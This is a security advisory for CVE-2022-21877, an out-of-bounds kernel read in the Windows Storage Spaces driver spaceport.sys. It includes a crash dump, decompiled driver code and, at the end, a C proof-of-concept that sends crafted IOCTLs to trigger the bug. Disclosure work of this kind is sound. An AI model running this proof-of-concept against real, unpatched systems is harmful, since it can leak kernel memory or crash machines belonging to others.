Summary
Product | Storage Spaces |
---|---|
Vendor | Microsoft |
Severity | Medium |
Affected Versions | spaceport.sys in Windows 10 and Windows Server 2019 |
Tested Versions | spaceport.sys in Windows 10 and Windows Server 2019 |
CVE Identifier | CVE-2022-21877 |
CVSS3.1 Scoring System
Base Score: 5.5 (Medium)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Metric | Value |
---|---|
Attack Vector (AV) | Local |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | None |
Availability (A) | None |
Product Overview
Storage Spaces is a technology in Windows and Windows Server that can help protect your data from drive failures. It is conceptually similar to RAID, implemented in software. You can use Storage Spaces to group three or more drives together into a storage pool and then use capacity from that Pool to create Storage Spaces. These typically store extra copies of your data, so if one of your drives fails, you still have an intact copy of your data. If you run low on capacity, just add more drives to the storage pool. By abusing storage pools that are authorized for common users to access, storage space object and tier object. An attacker can set the properties of a tier object to trigger the bug, through which it is possible to leak data in the kernel if the appropriate value is passed.
Vulnerability Description
During our research, we noticed that the operations on storage space are handled by the program SpaceAgent.exe
, this program will create IOCTL requests to the spaceport.sys
driver for processing (It can be said that the spaceport.sys driver will process all requests from SpaceAgent.exe
). Operations can be seen on the interface of SpaceAgent.exe
, such as creating Pool, creating Storage Space, renaming Pool, deleting Pool, etc. Figure 1 below is an example of GUI of storage space with 1 Pool with the name " TestStoragePool01" has a size of 60GB
Below is the crash context:
TRAP_FRAME: ffffef088e73a330 -- (.trap 0xffffef088e73a330)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffff9788fed73bf0 rbx=0000000000000000 rcx=0000000010100ff0
rdx=ffff97890ef0a058 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8043a702046 rsp=ffffef088e73a4c8 rbp=0000000001010101
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=ffff9788fee09010 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
spaceport!SDB_DRIVE::GetFaultDomainId+0x82:
fffff804`3a702046 488b02 mov rax,qword ptr [rdx] ds:ffff9789`0ef0a058=????????????????
Resetting default scope
LAST_CONTROL_TRANSFER: from fffff80436312742 to fffff804361fedc0
STACK_TEXT:
ffffef08`8e7398d8 fffff804`36312742 : ffffef08`8e739a40 fffff804`3617d210 fffff804`3a6c0000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffef08`8e7398e0 fffff804`36311d26 : fffff804`00000003 ffffef08`8e739a40 fffff804`3620be10 ffffef08`8e739f90 : nt!KiBugCheckDebugBreak+0x12
ffffef08`8e739940 fffff804`361f7027 : 00000000`00000000 00000000`00000000 ffff9789`0ef0a058 ffff9789`0ef0a058 : nt!KeBugCheck2+0x946
ffffef08`8e73a050 fffff804`3624a1a9 : 00000000`00000050 ffff9789`0ef0a058 00000000`00000000 ffffef08`8e73a330 : nt!KeBugCheckEx+0x107
ffffef08`8e73a090 fffff804`3609f500 : 00000000`00000000 00000000`00000000 ffffef08`8e73a3b0 00000000`00000000 : nt!MiSystemFault+0x18cdf9
ffffef08`8e73a190 fffff804`3620505e : ffffef08`8e73a421 00000000`00000020 00000000`00000000 ffff9788`fdc02000 : nt!MmAccessFault+0x400
ffffef08`8e73a330 fffff804`3a702046 : fffff804`3a72dd0b 00000000`58587053 ffff9789`038f9210 ffff9789`00000000 : nt!KiPageFault+0x35e
ffffef08`8e73a4c8 fffff804`3a72dd0b : 00000000`58587053 ffff9789`038f9210 ffff9789`00000000 00000000`00000000 : spaceport!SDB_DRIVE::GetFaultDomainId+0x82
ffffef08`8e73a4d0 fffff804`3a72055e : 01010101`10000000 ffff9789`03bf8390 00000000`00000000 fffff804`3a6cded2 : spaceport!SDB_POOL_CONFIG::IncludeDrives+0xca93
ffffef08`8e73a520 fffff804`3a749d6c : ffff9788`feacaa90 ffff9789`07a3bc00 ffff9789`03fc1110 ffff9788`fed90b30 : spaceport!SDB_POOL_CONFIG::ExtendSpace+0xea
ffffef08`8e73a5a0 fffff804`3a746113 : ffff9789`03fc1110 ffff9788`fed90b30 ffff9789`07a3bc90 ffff9789`05fb1480 : spaceport!SDB_POOL_CONFIG::ExtendTierTransaction+0xac
ffffef08`8e73a610 fffff804`3a72dc80 : 00000000`00000028 ffffef08`8e73a6d0 ffff9788`fed90b30 00000000`00000008 : spaceport!SP_POOL::SetTierInfoTransaction+0x16b
ffffef08`8e73a640 fffff804`3a721d50 : fffff804`36780bc0 ffffef08`8e73a701 ffffef08`8e73a6e8 ffffef08`8e73a6e0 : spaceport!SP_POOL::DispatchTransaction+0xd09c
ffffef08`8e73a680 fffff804`3a73b753 : 00000000`00000000 00000000`00000000 ffff9789`05fb1480 ffff9788`fed90b30 : spaceport!SP_POOL::ExecuteTransactionInternal+0xac
ffffef08`8e73a700 fffff804`3a72e0ee : ffff9789`04249178 00000000`00000001 ffff9789`04249060 00000000`00000000 : spaceport!SpIoctlSetTierInfo+0xff
ffffef08`8e73a780 fffff804`3a6d3c60 : ffff9789`04249060 00000000`00000000 00000000`0000020c 00000000`00000000 : spaceport!SpControlDeviceControl+0xbf3e
ffffef08`8e73a7d0 fffff804`3608f865 : 01000000`00100000 00000000`00000000 ffff9789`05fb1480 fffff804`361ca66b : spaceport!SpDispatch+0x20
ffffef08`8e73a800 fffff804`36475588 : ffffef08`8e73ab80 ffff9789`04249060 00000000`00000001 ffff9789`040950c0 : nt!IofCallDriver+0x55
ffffef08`8e73a840 fffff804`36474e55 : 00000000`00e7d40c ffffef08`8e73ab80 00000000`00000005 ffffef08`8e73ab80 : nt!IopSynchronousServiceTail+0x1a8
ffffef08`8e73a8e0 fffff804`36474856 : 00000000`00feb000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x5e5
ffffef08`8e73aa20 fffff804`362088b5 : 00000000`00000000 00000000`00000000 00000000`77566d4d ffffef08`8e73aae8 : nt!NtDeviceIoControlFile+0x56
ffffef08`8e73aa90 00000000`77b41cfc : 00000000`77b41933 00000023`77bc2c5c 00007ffd`e1190023 00000000`012608a8 : nt!KiSystemServiceCopyEnd+0x25
00000000`00cbed08 00000000`77b41933 : 00000023`77bc2c5c 00007ffd`e1190023 00000000`012608a8 00000000`00dba7b0 : wow64cpu!CpupSyscallStub+0xc
00000000`00cbed10 00000000`77b411b9 : 00000000`00dbfc48 00007ffd`e11939b4 00000000`00cbede0 00007ffd`e1193aaf : wow64cpu!DeviceIoctlFileFault+0x31
00000000`00cbedc0 00007ffd`e11938c9 : 00000000`00feb000 00000000`00ad00e8 00000000`00000000 00000000`00cbf630 : wow64cpu!BTCpuSimulate+0x9
00000000`00cbee00 00007ffd`e11932bd : 00000000`00000000 00000000`011b2ad8 00000000`00000000 00000000`00000000 : wow64!RunCpuSimulation+0xd
00000000`00cbee30 00007ffd`e1303652 : 00000000`00000000 00000000`00000010 00007ffd`e1361a90 00000000`00fea000 : wow64!Wow64LdrpInitialize+0x12d
00000000`00cbf0e0 00007ffd`e12a4ceb : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000001 : ntdll!LdrpInitializeProcess+0x1932
00000000`00cbf510 00007ffd`e12a4b73 : 00000000`00000000 00007ffd`e1230000 00000000`00000000 00000000`00fec000 : ntdll!LdrpInitialize+0x15f
00000000`00cbf5b0 00007ffd`e12a4b1e : 00000000`00cbf630 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrpInitialize+0x3b
00000000`00cbf5e0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe
THREAD_SHA1_HASH_MOD_FUNC: 19de1cb9705187d5f3b9dcb7f83ecd4abd43962d
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 9986c6a75f74cbcaccd52ef5f8cc5014757a42a1
THREAD_SHA1_HASH_MOD: 8dbb2069fd7e6764e3a8a7d83a5c9eafc310f6e2
FOLLOWUP_IP:
spaceport!SDB_DRIVE::GetFaultDomainId+82
fffff804`3a702046 488b02 mov rax,qword ptr [rdx]
FAULT_INSTR_CODE: 49028b48
SYMBOL_STACK_INDEX: 7
SYMBOL_NAME: spaceport!SDB_DRIVE::GetFaultDomainId+82
FOLLOWUP_NAME: MachineOwner
STACK_COMMAND: .thread ; .cxr ; kb
BUCKET_ID_FUNC_OFFSET: 82
FAILURE_BUCKET_ID: AV_R_INVALID_spaceport!SDB_DRIVE::GetFaultDomainId
BUCKET_ID: AV_R_INVALID_spaceport!SDB_DRIVE::GetFaultDomainId
PRIMARY_PROBLEM_CLASS: AV_R_INVALID_spaceport!SDB_DRIVE::GetFaultDomainId
Design of Storage Spaces
After reading some documents of Microsoft and reversing the SpaceAgent.exe
file, in addition to using the interface of SpaceAgent.exe
, we can also perform operations on storage space through 2 other methods:
- Using Storage Management API Classes
- Open the file device:
\\?\ROOT#SPACEPORT#0000#{GUID}
where the GUID value may be different on each machine. Sending IOCTLs to thespaceport.sys
, we can do things likeSpaceAgent.exe
Here I choose the second way to be able to modify the data sent to the driver.
Spaceport.sys
By analyzing the spaceport.sys
driver, we can see that it handles many input/output control requests (IOCTL) through separate handle functions. In the DriverEntry
function, we can find a code snippet that handles IOCTLs through functions like SpControl*
and SpSpace*
. Specifically, we’ll focus on the SpControlDeviceControl
function, which was previously mentioned as the approach I used.
To summarize, spaceport.sys
driver manages several IOCTLs through separate handle functions, and we’ll focus on the SpControlDeviceControl
function to understand its behavior.
DriverObject->MajorFunction[0] = SpSuccess;
DriverObject->MajorFunction[2] = SpSuccess;
DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[9] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[13] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[18] = SpSuccess;
DriverObject->MajorFunction[22] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[23] = (PDRIVER_DISPATCH)SpDispatch;
DriverObject->MajorFunction[27] = (PDRIVER_DISPATCH)SpDispatch;
qword_1C0052660 = (__int64)SpControlDeviceControl;
qword_1C0052668 = (__int64)SpControlScsi;
qword_1C0052670 = (__int64)SpControlShutdown;
qword_1C00526C8 = (__int64)SpControlPnp;
qword_1C0052528 = (__int64)SpSpaceReadWrite;
qword_1C0052530 = (__int64)SpSpaceReadWrite;
qword_1C0052558 = (__int64)SpSpaceFlush;
qword_1C0052578 = (__int64)SpSpaceFileSystemControl;
qword_1C0052580 = (__int64)SpSpaceDeviceControl;
qword_1C0052588 = (__int64)SpSpaceScsi;
qword_1C00525C0 = (__int64)SpSpacePower;
qword_1C00525C8 = (__int64)SpSpaceWmi;
qword_1C00525E8 = (__int64)SpSpacePnp;
qword_1C0052608 = (__int64)SpControlSkip;
qword_1C0052610 = (__int64)SpControlSkip;
qword_1C0052638 = (__int64)SpControlSkip;
qword_1C0052658 = (__int64)SpControlSkip;
qword_1C00526A0 = (__int64)SpControlSkip;
qword_1C00526A8 = (__int64)SpControlSkip;
qword_1C0052590 = (__int64)SpSuccess;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)SpUnload;
In the SpControlDeviceControl
function, we can see that the driver checks the IoControlCodes
to select the handler functions.
control_code = v2->Parameters.IoControlCode;
if ( control_code > 0xE7C42C )
{
if ( control_code > 0xE7C840 )
{
if ( control_code <= 0xE7D40C )
{
if ( control_code == 0xE7D40C )
{
v11 = SpIoctlSetTierInfo(a2);
}
else
{
v49 = control_code - 0xE7C844;
if ( v49 )
{
v50 = v49 - 4;
if ( v50 )
{
v51 = v50 - 4;
if ( v51 )
{
v52 = v51 - 4;
if ( v52 )
{
v53 = v52 - 956;
if ( v53 )
{
if ( v53 != 1024 )
goto LABEL_127;
v11 = SpIoctlSetEnclosureInfo(a2);
}
else
{
v11 = SpIoctlStopTask(a2);
}
}
else
{
v11 = SpIoctlSetSpacesFlags(a2);
}
}
else
{
v11 = SpIoctlSetSpaceQos(a2);
}
}
else
{
v11 = SpIoctlAttachSpaceRemote(a2);
}
}
else
{
v11 = SpIoctlUnlinkSpace(a2);
}
}
}
Do not check value index_guid in SpIoctlCreateTier
We observe that the function SpIoctlCreateTier
has IoControlCode = 0xE7D410
:
if ( object_tier )
{
SDB_TIER::Initialize(object_tier);
object_tier->guid_tier = buffer_in->guid_tier;
v5 = SpStringCchCopyHelper(buffer_in->name_tier, 0x100u, &object_tier->name);
if ( v5 >= 0 )
{
v5 = SpStringCchCopyHelper(buffer_in->des, 0x400u, &object_tier->des);
if ( v5 >= 0 )
{
object_tier->field_44 = buffer_in->field_A38;
*(_OWORD *)object_tier->field_48 = *(_OWORD *)buffer_in->field_A58;
*(_OWORD *)object_tier->index_guid = *(_OWORD *)buffer_in->index_guid; // not check index_guid
*(_OWORD *)object_tier->field_68 = *(_OWORD *)buffer_in->data;
object_tier->field_78 = *(_QWORD *)&buffer_in->data[16];
object_tier->field_8C = buffer_in->field_A78;
object_tier->len_guid = buffer_in->len_guid;
The function SpIoctlCreateTier
process data bufer_in
from usermode, buffer_in
has the following structure:
struct __declspec(align(8)) _SP_TIER_INFO
{
int max_len;
int len;
GUID poolID;
GUID guid_tier;
GUID spaceID;
wchar_t name_tier[256];
wchar_t des[1024];
int field_A38;
BYTE gapA3C[4];
__int64 field_A40;
BYTE gapA48[16];
int index_guid;
char field_A6C[12];
char field_A68[16];
int field_A78;
int len_guid;
int offset_guid;
BYTE data[48];
};
The function will copy the data from buffer_in
to object_tier
to use for Tier operations. object_tier
has the following structure:
struct SDB_TIER
{
SDB_TIER_VTABLE_0_00000001C0045120::vtable *vftbl_0_00000001C0045120;
_BYTE gap8[24];
GUID guid_tier;
wchar_t *name;
wchar_t *des;
_BYTE gap3C[4];
int field_44;
__int64 field_48;
__int64 field_50;
int index_guid;
char field_58[12];
int field_68;
int field_6C;
int field_70;
int field_74;
__int64 field_78;
_BYTE gap80[12];
int field_8C;
int len_guid;
GUID *list_GUID;
_BYTE gap9C[32];
__int64 fieldC0;
__int64 fieldC8;
__int64 field_D0;
};
However, function SpIoctlCreateTier
did not check the index_guid
values of buffer_in
. We can control these values to trigger the out of bounds read bug by calling the function SpIoctlSetTierInfo.
The flow of execution of the SpIoctlSetTierInfo function is as follows:
When calling the SpIoctlSetTierInfo
function, the driver will get the corresponding object_tier
to process. To the SDB_DRIVE::GetFaultDomainId
function, the driver gets the pre-assigned index_guid
value to retrieve the value resulting in an out of bounds read bug. We can observe the function SDB_DRIVE::GetFaultDomainId
causing the bug.
unk_object = (__int64 *)this->gapC8;
v3 = 0i64;
switch ( index_guid )
{
case 1:
return &this->uid3;
case 2:
v4 = *(_QWORD *)&this->uid1.Data1 - *(_QWORD *)&GUID_NULL.Data1;
if ( !v4 )
v4 = *(_QWORD *)this->uid1.Data4 - *(_QWORD *)GUID_NULL.Data4;
if ( v4 )
return &this->uid1;
break;
case 3:
v5 = *(_QWORD *)&this->uid2.Data1 - *(_QWORD *)&GUID_NULL.Data1;
if ( !v5 )
v5 = *(_QWORD *)this->uid2.Data4 - *(_QWORD *)GUID_NULL.Data4;
if ( v5 )
return &this->uid2;
break;
}
if ( unk_object )
{
v6 = 2i64 * (unsigned int)(index_guid - 2);
guid = (GUID *)&unk_object[v6 + 11]; // vul here
v8 = *(_QWORD *)&guid->Data1 - *(_QWORD *)&GUID_NULL.Data1;
if ( *(_QWORD *)&guid->Data1 == *(_QWORD *)&GUID_NULL.Data1 )
v8 = *(_QWORD *)guid->Data4 - *(_QWORD *)GUID_NULL.Data4;
if ( v8 )
v3 = &unk_object[v6 + 11];
}
In short, to trigger the bug, we will do the following:
- Get pool id
- Create storage space
- Create Tier with large enough index_guid value
- Call SpIoctlSetTierInfo to trigger the bug.
Attack Conditions & Constraints
To be able to proceed to set space info, the driver will check if the user has access to that Pool object in the SpAccessCheckPool
function. Basically the SpAccessCheckPool
function will call the SeAccessCheck
API to check access via Security Descriptor.
InputBufferLength = v1->Parameters.InputBufferLength;
if ( InputBufferLength >= 0xAB0 )
{
buffer_in = (_SP_TIER_INFO *)a1->AssociatedIrp.SystemBuffer;
if ( InputBufferLength == buffer_in->len )
{
v7 = SpFindPoolById(&buffer_in->poolID);
v8 = (__int64)v7;
if ( v7 )
{
v5 = SpAccessCheckPool(v7, a1);
if ( v5 >= 0 )
{
v9 = &buffer_in->spaceID;
The code that checks the user’s permission to the object pool in the function SpIoctlCreateTier
.
In addition, on the victim machine must be created at least 1 pool and common user can access.
Note By default, the Pool object is created with administrative access, which means that regular users are not granted access to it. However, it is possible to assign access rights to common users using the Storage Management API. Here is a code snippet that demonstrates how to set access rights for a Pool object to another user.
Proof-of-Concept (PoC)
hObject = CreateFileA(dev_vul,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hObject != INVALID_HANDLE_VALUE)
{
// 1. Create Space
long size = 0;
char* data1 = read_file((char*)"data_createspace.bin", &size);
char* tmp = (char*)malloc(10);
DWORD retByte = 0;
_data_cspaces* data_space = (_data_cspaces*)malloc(size);
memset(data_space, 0, size);
memcpy(data_space, data1, size);
myGUIDFromString(L"{65878b15-936c-48f6-b626-2186ea83e6d0}", &data_space->poolID); // get poolID via command Get-StoragePool | Select *
GUID guid_space;
UuidCreate(&guid_space);
data_space->spaceID = guid_space;
data_space->val2 = 0;
DeviceIoControl(hObject, 0xe7c810, data_space, size, tmp, 10, (LPDWORD)&retByte, 0);// create space
//2. Create Tier
_SP_TIER_INFO* data_ctier = (_SP_TIER_INFO*)malloc(sizeof(_SP_TIER_INFO));
memset(data_ctier, 0x1, sizeof(_SP_TIER_INFO));
data_ctier->field_A38 = 1;
data_ctier->index_guid = 0xffffffff;
memset(&data_ctier->name_tier, 0, 256 * 2);
memset(&data_ctier->des, 0, 1024 * 2);
myGUIDFromString(L"{65878b15-936c-48f6-b626-2186ea83e6d0}", &data_ctier->poolID);
data_ctier->spaceID = guid_space;
GUID guid_tier;
UuidCreate(&guid_tier);
data_ctier->guid_tier = guid_tier;
data_ctier->len = sizeof(_SP_TIER_INFO);
data_ctier->len_guid = 0;
data_ctier->offset_guid = 0;
DeviceIoControl(hObject, 0xE7D410, data_ctier, sizeof(_SP_TIER_INFO), tmp, 10, (LPDWORD)&retByte, 0);
// 3. Set tier info
_SP_TIER_INFO* tier_info = (_SP_TIER_INFO*)malloc(sizeof(_SP_TIER_INFO));
memset(tier_info, 1, sizeof(_SP_TIER_INFO));
memset(&tier_info->name_tier, 0, 256 * 2);
memset(&tier_info->des, 0, 1024 * 2);
myGUIDFromString(L"{65878b15-936c-48f6-b626-2186ea83e6d0}", &tier_info->poolID);
tier_info->spaceID = guid_space;
tier_info->guid_tier = guid_tier;
tier_info->len = sizeof(_SP_TIER_INFO);
tier_info->len_guid = 0;
tier_info->offset_guid = 0;
DeviceIoControl(hObject, 0xE7D40C, tier_info, sizeof(_SP_TIER_INFO), tmp, 10, (LPDWORD)&retByte, 0);
if (debug)
{
DWORD err = GetLastError();
printf("Handle %d GLE 0x%x Device %s\n", hObject, err, dev_vul);
}
free(tmp);
free(data_space);
free(data_ctier);
printf("Checking target index %d\n", i);
CloseHandle(hObject);
}
Credits
Lê Hữu Quang Linh (@linhlhq) of of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline:
- 2021-12-23 Vendor Disclosure
- 2021-12-24 Initial Vendor Contact
- 2022-01-11 Vendor Patch Release